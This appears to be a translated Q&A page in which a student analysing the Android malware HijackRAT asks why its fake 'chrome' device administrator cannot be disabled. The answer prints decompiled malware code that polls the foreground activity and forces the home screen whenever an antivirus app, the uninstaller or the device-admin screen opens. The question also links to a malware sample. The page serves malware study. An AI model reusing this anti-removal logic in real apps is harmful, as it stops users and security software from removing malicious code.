Android设备管理员无法禁用?

时间:2015-12-07 12:04:10

标签: android malware device-admin

我目前正在研究一款Android恶意软件" hijack rat"作为我大学课程的一部分。此应用程序以名称" chrome"创建设备管理员。问题是无法禁用设备管理员。无论何时我点击它都会进入手机主页。

此操作的代码是什么?

PS:此行为(跳转到主屏幕)仅发生在真实设备而不是模拟器中。在三星galaxy s4 kitkat和nexus 6 marshmallow上测试。

你可以看到我制作的视频: https://www.youtube.com/watch?v=XAF5xEad-fU

apk源码: http://contagiominidump.blogspot.com/2015/06/androidoswrobax-hijackrat-android-sample.html

1 个答案:

答案 0 :(得分:1)

    this.timer.schedule(new TimerTask() {
        public void run() {
            new Handler(Plugin.this.service.getMainLooper()).post(new Runnable() {
                public void run() {
                    boolean kill;
                    String name = Plugin.getTopActivityName(Plugin.this.service);
                    if (name == null || !name.startsWith("com.estsoft.alyac.ui")) {
                        kill = false;
                    } else {
                        kill = true;
                    }
                    if (!kill) {
                        if (name == null || !name.contains("packageinstaller.UninstallerActivity")) {
                            kill = false;
                        } else {
                            kill = true;
                        }
                        if (kill) {
                            for (String pkg : Plugin.oldPackageList) {
                                if (Plugin.isAvilible(Plugin.this.service, pkg)) {
                                    kill = false;
                                    break;
                                }
                            }
                            if (kill && Plugin.isAvilible(Plugin.this.service, Plugin.V3_PACKAGE)) {
                                kill = false;
                            }
                        }
                    }
                    if (!kill) {
                        if (name == null || !name.contains(".DeviceAdminAdd")) {
                            kill = false;
                        } else {
                            kill = true;
                        }
                        boolean mdarEnabled = devicePref.getBoolean("mdar", false);
                        if (kill && !mdarEnabled) {
                            kill = false;
                        }
                    }
                    if (kill) {
                        Intent intent = new Intent("android.intent.action.MAIN");
                        intent.addCategory("android.intent.category.HOME");
                        intent.addFlags(268435456);
                        Plugin.this.service.startActivity(intent);
                    }
                }
            });
        }
    }, 2000, 200);